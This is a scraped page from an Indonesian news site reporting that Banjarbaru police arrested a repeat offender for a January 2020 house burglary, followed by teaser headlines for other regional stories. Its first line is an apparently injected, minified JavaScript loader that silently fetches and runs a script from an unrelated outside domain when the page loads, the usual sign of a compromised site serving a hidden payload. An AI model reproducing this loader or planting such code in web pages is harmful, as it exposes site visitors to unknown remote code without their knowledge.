(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Unit Resmob Satuan Reskrim Polres Banjarbaru yang dipimpin Iptu Alhamidie kembali berhasil mengungkap kasus pencurian (bongkar rumah) yang terjadi di Gang Purnama II, Kelurahan Komet, Kec. Banjarbaru Utara, Banjarbaru.
Pelaku diketahui bernama M Ridhani (31) yang rupamya merupakan residivis jambret dan bongkar rumah ini berhasil ditangkap di tempat tinggalnya di daerah Sungai Ulin Kota Banjarbaru pada hari Selasa (4/2/2020).
“Dari pengakuannya, pelaku melancarkan aksinya seorang diri pada tanggal 21 Januari 2020 sekitar pukul 02.00 WITA dan mengambil sejumlah uang, barang dan surat berharga milik korbannya,” kata Kapolres Banjarbaru AKBP Doni Hadi Santoso, melalui Kasubbag Humas Polres Banjarbaru, AKP Siti Rohayati.
Kini pelaku beserta barang bukti diamankan ke Mapolres Banjarbaru guna proses hukum lebih lanjut dan akan dijerat dengan Pasal 363 KUHP dengan ancaman hukuman maksimal 9 Tahun Penjara. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More
KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More
This website uses cookies.